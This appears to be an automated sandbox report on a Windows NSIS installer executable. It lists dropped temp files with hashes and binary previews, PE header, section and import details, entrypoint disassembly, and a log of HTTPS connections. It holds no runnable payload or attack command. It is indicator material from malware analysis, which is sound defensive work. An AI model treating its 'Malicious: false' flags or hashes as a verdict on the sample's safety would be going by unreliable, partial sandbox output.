SHA-512:	26695DBF9FDE77625A12BE1F12797DF821B8B20204D4BE58D5E43E27159908D7AFBA4ADAA1B39438D931C076854877B3008A4F12CE984053C877D5C89E15F000
Malicious:	false
Preview:	..........W.......(..........Y.Ir...G.........z.#..>%...#........t..v+....3......ug\|{K.............f.7...............8.........N$...............................C....<....P..b............o....(R.d.._...x...2.............b..>...j........^..Q..p...)....&.....&....S......A..<....X."...%....f)......O...........f.{...)................m.....!..M.J..e..8.............._..<.~.X...Y6..../........x....Y.a..,....................5....k9................B.......A...............t.......m.....?.....aU..V..'........v..C.N....=+.D...{..?f<...........(.&..z...~.....8...^...Z..x.......;%H....r...j.&..........'........h~......t.f......3...............=...@.7.......\|...l.......0.......y.N...w..........l....Z...K.\|.....................-...TS.\|.O..4.x....;........Y..E...............Q............k.l.../..?82....................F.....^.N...X\|....@....8.(........U.(.......t......a.........<?..w....4.e..5....,............../..y..Z...i..P(.....`.^.......'......G.}.....\...............8..F.........

C:\Users\user\AppData\Local\Temp\terephthalate\edderdun\Reallnsnedgangen241.sta

Download File

Process:	C:\Users\user\Desktop\fJuwM4Bwi7.exe
File Type:	data
Category:	dropped
Size (bytes):	8230
Entropy (8bit):	4.9095691270975985
Encrypted:	false
SSDEEP:	192:ADjauT3yXT1VRXVkCGOeTC3WgdgTNb7dYSxs446HTXZG:ADjaZDFV7Hx3Wgd8b757k
MD5:	6E58E362553B5789E1069A0179B61372
SHA1:	99780077DCED2149B6BF80439172FF98DF8F90E6
SHA-256:	EF7907372F05F11488321AB0694B0C59BB487F9B8C87E6C7AD93D33C226EB194
SHA-512:	6FB5A47A7B8937D898FF58D4FC5ED7959AB10C9E3EDDF66585BE7FB011CF46AC7EDA4FDCBF81297DEB841DE807A3CA2A23C4B205C71CDDEF8D8DC87B1B15EFB0
Malicious:	false
Preview:	.....l.................}..m.............[....L..J.D.......$............n...................=..................9j...................v...................x..C.....o.{P.....]S._............#...B.....9.......[.........RB%P...............I...K.r..N...+.........V.{.....1..........1..........`.........O..._.......f.........s.....m.@.$.m............u..l;.............{.4ON.......1M....G..?........mE3....U......#....n...>%.........I.....n.._N.ao.`........co?..&......96.......t.8z..pa(.[.......c......r......AS...\|..........s^......U...............\|....u...f.s..V..............A..J...............~.5t`..............\|..B.q...b......Q..5....&...2........).{.E...8..............D.....'.....#......;.......5..`.QWr.K..u...........A.C?.....~..........d7..........Kri..~........b...l.....k.J.................j........5.........2.w.................d.........Q.........0.`^N.....K............?U..........;.".S.L....,...=...._....................fc...n...Q.................8.........a.s.........7.....

C:\Users\user\AppData\Local\Temp\terephthalate\edderdun\Stephanis.Bin

Download File

Process:	C:\Users\user\Desktop\fJuwM4Bwi7.exe
File Type:	data
Category:	dropped
Size (bytes):	358713
Entropy (8bit):	7.648793540736881
Encrypted:	false
SSDEEP:	6144:uKPS3s/UriKDyqFZ8q/Uj6iYTVhKstsXxp0TL6OOGUMpo6hcHaj3jT:3NiiKDs0hKMsBprznM3fz
MD5:	7F347CFA8F27E352ED83C3BB88C5057B
SHA1:	8EE750C1E86644CA4E938CE66EAC4C50207C1B21
SHA-256:	CC97921E1FFF1EE9561EA1D79F6FF1F297AB05004AE150828E33A2C032C3C37E
SHA-512:	09D6C2C4C7EACF5F5FF9397CC13E5EF8A1A9565F5D292071C96A91969B3F0E029D0579F7CC2DEE6B5A90CC67E3F7E7039572C165987B1655C7C871AD24B95DDB
Malicious:	false
Preview:	............DDD....yyyyyyy..zzzzz.........Z.............yyyy.....Q..3.N.R.............~......LL.......""....... ............8.L.00......WW...................G...k....................1.66.a......OO.........f.@@.K..,,....................,,...?...66...........EE........RR.ppp.............]]]]]]]].........../....Q. .~......].Y....aaa.Y.D.....F....JJJJJ...a...........JJJ....UU.888888........R..vvvv......^^....44.~~~...L.1......[..........................................GG...................eeeee.f....oo.h.b...pp.........V..................i............}}}.............OO.~......b....t...a.hh............DD.........EE.n.......{..............F.....................M.......h.==......{........................ffff........^...............T....................nnn...]].........II................vvv..A....11...........?.....C............H.............\\...............S.0................1..x..@..........9......................eee....NNNNNNNNN.............................................h..........^....

C:\Users\user\AppData\Local\Temp\terephthalate\edderdun\Trykkestederne.dre

Download File

Process:	C:\Users\user\Desktop\fJuwM4Bwi7.exe
File Type:	data
Category:	dropped
Size (bytes):	1767
Entropy (8bit):	4.936734149511583
Encrypted:	false
SSDEEP:	24:n4sZF5zb4UBKl2YkTL9us5GTtqBXclmjZk/7V91eIS9naSCKvDwoqjLpKk1Na:nNJ+rkvspOclmdkzX1L8aS70ouUaa
MD5:	9A172303DA4D5A6FFFA3583CD88A6848
SHA1:	A59F712638898ED08E235ED321B8F3033F32B324
SHA-256:	E99BB7DF5EA4A3983D7308A41630A8B1128A1F7E0E59B7F02511DFC71E67BDC4
SHA-512:	4C6755EA315DCA8868EA650CFAEE595D60B910A6829DF232CDDB617318BD81B40A8E407E5B5135A485EEDD76265A04A2FF75DBE656C5D216F1EF0672EAAF5631
Malicious:	false
Preview:	......]$z....Ak.....o.M..n..#..@.5C.......h..a......Y.......U....a..C...=x.+....."Y......x.......t...........(..........k...0@.......#...Y....(................".....k..... .........A...\|...q............!....d...t....../S......Y.Q...s...).......p.T.....".0.._..MY.A..............P.B..v......\|...0...0j........3[)./.........u0..M....._#.........z........*.`....;.........3..D...0..... ..`..............S.......H..y......v1..G...................................i...L).P..$....^....#........h_..........8#...[Qy............ZK..D>.....r......s.x.O.y!..H...........5....8....'.\|..........G/.:....2U=\|......P........>.......r....K).P..l..........(..KY.g......n..9....\......Pm..............r.........0....'................J.q=...X.d......S.......l.....}.[..............m.IX.....3......&.......1......s.....(.L...........q...4{.....w..]..."..Q.........L..;.....i8.............I.e...{....r....E.......0>...e.L.Rlg.......]J.r......i..b...=...k<.5......................w.....T...../........S...#-.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.947296688885364
TrID:	Win32 Executable (generic) a (10002005/4) 92.16% NSIS - Nullsoft Scriptable Install System (846627/2) 7.80% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	fJuwM4Bwi7.exe
File size:	600'280 bytes
MD5:	0cb5485c0840cf976767bc45fb0b45d4
SHA1:	3eee45faada0a0ee309065cc279b6c38e6dd809b
SHA256:	82940860d0091481df6eb2a273504bd2066f83649ffd87dffe03582440a938cc
SHA512:	dc7a88850a94809beeaccee769b580d6a99af3ac7b53b4720856cb341c3b57144480eca4b0ed00c791fc84d9a8544f255289b479ab97df407f1caaf9dbad9d56
SSDEEP:	12288:2K9/JmMgq+TiZFJVsTej4jsLhzBMiMMx8cjDBlDvvK1adEMNqn5+:tj+Tirqej1RRx8O/vPdE1nQ
TLSH:	61D4125436E2D47EEA402775DFA7A7FAC2249D28C6251B0F0F953FBE7D360518E28221
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..iu..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L....\.U.................^...........2.......p....@

File Icon


Icon Hash:	4740490d27a52145

Static PE Info

General

Entrypoint:	0x403217
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x55C15CE3 [Wed Aug 5 00:46:27 2015 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	59a4a44a250c4cf4f2d9de2b3fe5d95f

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push ebp
push esi
xor ebx, ebx
push edi
mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 00409130h
mov dword ptr [esp+20h], ebx
mov byte ptr [esp+14h], 00000020h
call dword ptr [00407034h]
push 00008001h
call dword ptr [004070B4h]
push ebx
call dword ptr [0040728Ch]
push 00000009h
mov dword ptr [004237B8h], eax
call 00007F2AB0C534CAh
mov dword ptr [00423704h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 0041ECB8h
call dword ptr [00407164h]
push 004091E4h
push 00422F00h
call 00007F2AB0C53174h
call dword ptr [004070B0h]
mov ebp, 00429000h
push eax
push ebp
call 00007F2AB0C53162h
push ebx
call dword ptr [00407118h]
cmp byte ptr [00429000h], 00000022h
mov dword ptr [00423700h], eax
mov eax, ebp
jne 00007F2AB0C506CCh
mov byte ptr [esp+14h], 00000022h
mov eax, 00429001h
push dword ptr [esp+14h]
push eax
call 00007F2AB0C52BF2h
push eax
call dword ptr [00407220h]
mov dword ptr [esp+1Ch], eax
jmp 00007F2AB0C50785h
cmp cl, 00000020h
jne 00007F2AB0C506C8h
inc eax
cmp byte ptr [eax], 00000020h
je 00007F2AB0C506BCh

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x73a4	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x38000	0x2b6d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x298	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5c3a	0x5e00	e5e7adda692e6e028f515fe3daa2b69f	False	0.658951130319149	data	6.410406825129756	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x11ce	0x1200	5801d712ecba58aa87d1e7d1aa24f3aa	False	0.4522569444444444	OpenPGP Secret Key	5.236122428806677	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x1a7f8	0x400	cc58d0a55ac015d8f1470ea90f440596	False	0.615234375	data	5.02661163746607	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x24000	0x14000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x38000	0x2b6d8	0x2b800	b6d42514c2cc09fb8e6265d6a2c193e7	False	0.9366244612068966	data	7.857509251924338	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x38418	0x18ef9	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	1.000401421619981
RT_ICON	0x51318	0x833d	PNG image data, 256 x 256, 8-bit colormap, non-interlaced	English	United States	0.9935410899782718
RT_ICON	0x59658	0x350c	PNG image data, 256 x 256, 4-bit colormap, non-interlaced	English	United States	1.0008100147275405
RT_ICON	0x5cb68	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.6025933609958506
RT_ICON	0x5f110	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.6329737335834896
RT_ICON	0x601b8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304	English	United States	0.7006929637526652
RT_ICON	0x61060	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024	English	United States	0.7924187725631769
RT_ICON	0x61908	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.5280487804878049
RT_ICON	0x61f70	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256	English	United States	0.7109826589595376
RT_ICON	0x624d8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.7225177304964538
RT_ICON	0x62940	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.6854838709677419
RT_ICON	0x62c28	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.7263513513513513
RT_DIALOG	0x62d50	0x100	data	English	United States	0.5234375
RT_DIALOG	0x62e50	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x62f70	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x63038	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x63098	0xae	data	English	United States	0.6264367816091954
RT_VERSION	0x63148	0x24c	data	English	United States	0.5255102040816326
RT_MANIFEST	0x63398	0x33f	XML 1.0 document, ASCII text, with very long lines (831), with no line terminators	English	United States	0.5547533092659447

Imports

DLL	Import
KERNEL32.dll	GetTickCount, GetFullPathNameA, MoveFileA, SetCurrentDirectoryA, GetFileAttributesA, GetLastError, CreateDirectoryA, SetFileAttributesA, SearchPathA, GetShortPathNameA, CreateFileA, GetFileSize, GetModuleFileNameA, ReadFile, GetCurrentProcess, CopyFileA, ExitProcess, SetEnvironmentVariableA, Sleep, CloseHandle, GetCommandLineA, SetErrorMode, LoadLibraryA, lstrlenA, lstrcpynA, GetDiskFreeSpaceA, GlobalUnlock, GlobalLock, CreateThread, CreateProcessA, RemoveDirectoryA, GetTempFileNameA, lstrcpyA, lstrcatA, GetSystemDirectoryA, GetVersion, GetProcAddress, GlobalAlloc, CompareFileTime, SetFileTime, ExpandEnvironmentStringsA, lstrcmpiA, lstrcmpA, WaitForSingleObject, GlobalFree, GetExitCodeProcess, GetModuleHandleA, GetTempPathA, GetWindowsDirectoryA, LoadLibraryExA, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, WriteFile, FindClose, WritePrivateProfileStringA, MultiByteToWideChar, MulDiv, GetPrivateProfileStringA, FreeLibrary
USER32.dll	CreateWindowExA, EndDialog, ScreenToClient, GetWindowRect, EnableMenuItem, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, GetDC, SystemParametersInfoA, RegisterClassA, TrackPopupMenu, AppendMenuA, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, DestroyWindow, CreateDialogParamA, SetTimer, GetDlgItem, wsprintfA, SetForegroundWindow, ShowWindow, IsWindow, LoadImageA, SetWindowLongA, SetClipboardData, EmptyClipboard, OpenClipboard, EndPaint, PostQuitMessage, FindWindowExA, SendMessageTimeoutA, SetWindowTextA
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA
ADVAPI32.dll	RegCloseKey, RegOpenKeyExA, RegDeleteKeyA, RegDeleteValueA, RegEnumValueA, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	CoCreateInstance, CoTaskMemFree, OleInitialize, OleUninitialize
VERSION.dll	GetFileVersionInfoSizeA, GetFileVersionInfoA, VerQueryValueA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 4, 2024 14:14:44.453363895 CEST	49842	443	192.168.11.30	142.250.217.174
Jun 4, 2024 14:14:44.453459978 CEST	443	49842	142.250.217.174	192.168.11.30
Jun 4, 2024 14:14:44.453649998 CEST	49842	443	192.168.11.30	142.250.217.174
Jun 4, 2024 14:14:44.483815908 CEST	49842	443	192.168.11.30	142.250.217.174
Jun 4, 2024 14:14:44.483855963 CEST	443	49842	142.250.217.174	192.168.11.30
Jun 4, 2024 14:14:44.766186953 CEST	443	49842	142.250.217.174	192.168.11.30
Jun 4, 2024 14:14:44.766407967 CEST	49842	443	192.168.11.30	142.250.217.174
Jun 4, 2024 14:14:44.766824961 CEST	443	49842	142.250.217.174	192.168.11.30
Jun 4, 2024 14:14:44.767033100 CEST	49842	443	192.168.11.30	142.250.217.174
Jun 4, 2024 14:14:44.831353903 CEST	49842	443	192.168.11.30	142.250.217.174
Jun 4, 2024 14:14:44.831365108 CEST	443	49842	142.250.217.174	192.168.11.30
Jun 4, 2024 14:14:44.831605911 CEST	443	49842	142.250.217.174	192.168.11.30
Jun 4, 2024 14:14:44.831856966 CEST	49842	443	192.168.11.30	142.250.217.174
Jun 4, 2024 14:14:44.834187031 CEST	49842	443	192.168.11.30	142.250.217.174
Jun 4, 2024 14:14:44.876182079 CEST	443	49842	142.250.217.174	192.168.11.30
Jun 4, 2024 14:14:45.064644098 CEST	443	49842	142.250.217.174	192.168.11.30
Jun 4, 2024 14:14:45.064723969 CEST	443	49842	142.250.217.174	192.168.11.30
Jun 4, 2024 14:14:45.064836979 CEST	49842	443	192.168.11.30	142.250.217.174
Jun 4, 2024 14:14:45.064888000 CEST	49842	443	192.168.11.30	142.250.217.174
Jun 4, 2024 14:14:45.068880081 CEST	49842	443	192.168.11.30	142.250.217.174
Jun 4, 2024 14:14:45.068897009 CEST	443	49842	142.250.217.174	192.168.11.30
Jun 4, 2024 14:14:45.222728968 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:45.222767115 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:45.222995996 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:45.223159075 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:45.223182917 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:45.468676090 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:45.468875885 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:45.473030090 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:45.473048925 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:45.473504066 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:45.473638058 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:45.473985910 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:45.516259909 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.172717094 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.172952890 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.173019886 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.188994884 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.189186096 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.189253092 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.197231054 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.197494984 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.205547094 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.205780029 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.205809116 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.206068039 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.290474892 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.290735006 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.290757895 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.290945053 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.294549942 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.294867039 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.294888973 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.295085907 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.302778006 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.303009033 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.303025961 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.303370953 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.311007977 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.311201096 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.311223030 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.311494112 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.319638014 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.319932938 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.319994926 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.320336103 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.327869892 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.328098059 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.328155994 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.328363895 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.336162090 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.336353064 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.336410999 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.336673021 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.336726904 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.336982965 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.344340086 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.344578028 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.344634056 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.344834089 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.351855040 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.352104902 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.352158070 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.352364063 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.359457970 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.359649897 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.359708071 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.359915972 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.366852045 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.367089987 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.367147923 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.367342949 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.374430895 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.374638081 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.378237963 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.378487110 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.378544092 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.378740072 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.385561943 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.385766029 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.385792971 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.385991096 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.408453941 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.408735037 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.408761024 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.408988953 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.411830902 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.412094116 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.412120104 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.412337065 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.418734074 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.419007063 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.419033051 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.419248104 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.424840927 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.425117016 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.425143957 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.425337076 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.430891991 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.431168079 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.431196928 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.431428909 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.436553001 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.436652899 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.436880112 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.436909914 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.436927080 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.437088966 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.442342043 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.442745924 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.442771912 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.443011999 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.448046923 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.448440075 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.448467016 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.448662996 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.453666925 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.453927040 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.453953028 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.454199076 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.459434986 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.459687948 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.459716082 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.459933996 CEST	49843	443	192.168.11.30	172.217.215.132
